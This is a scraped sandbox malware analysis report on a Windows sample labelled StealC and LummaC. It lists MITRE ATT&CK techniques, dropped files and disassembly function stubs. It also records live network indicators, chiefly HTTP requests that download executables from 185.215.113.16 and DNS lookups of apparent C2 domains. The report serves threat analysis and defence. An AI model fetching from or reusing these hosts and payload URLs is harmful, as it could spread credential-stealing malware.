Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat
Source: global traffic	DNS traffic detected: DNS query: discokeyus.lat

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report hBBxlxfQ3F.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe.log

C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe

C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Windows Analysis Report
hBBxlxfQ3F.exe

Function 010E750B Relevance: 1.6, APIs: 1, Instructions: 132
libraryCOMMON

Function 010EBACE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 94
fileCOMMON

Function 010F493C Relevance: 4.6, APIs: 3, Instructions: 57
registryCOMMON

Function 010E76BA Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 161
libraryCOMMON

Function 010EBADE Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31
fileCOMMON

Function 010EB7AF Relevance: 1.6, APIs: 1, Instructions: 63
fileCOMMON

Function 048B0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 048B0D43 Relevance: 1.6, APIs: 1, Instructions: 57
COMMON

Function 048B1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Function 048B1509 Relevance: 1.6, APIs: 1, Instructions: 51
serviceCOMMON

Function 048B1301 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Function 048B1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Function 010EB7A9 Relevance: 1.5, APIs: 1, Instructions: 47
fileCOMMON

Function 010EB7EC Relevance: 1.5, APIs: 1, Instructions: 36
fileCOMMON

Function 010EB80F Relevance: 1.5, APIs: 1, Instructions: 34
fileCOMMON

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre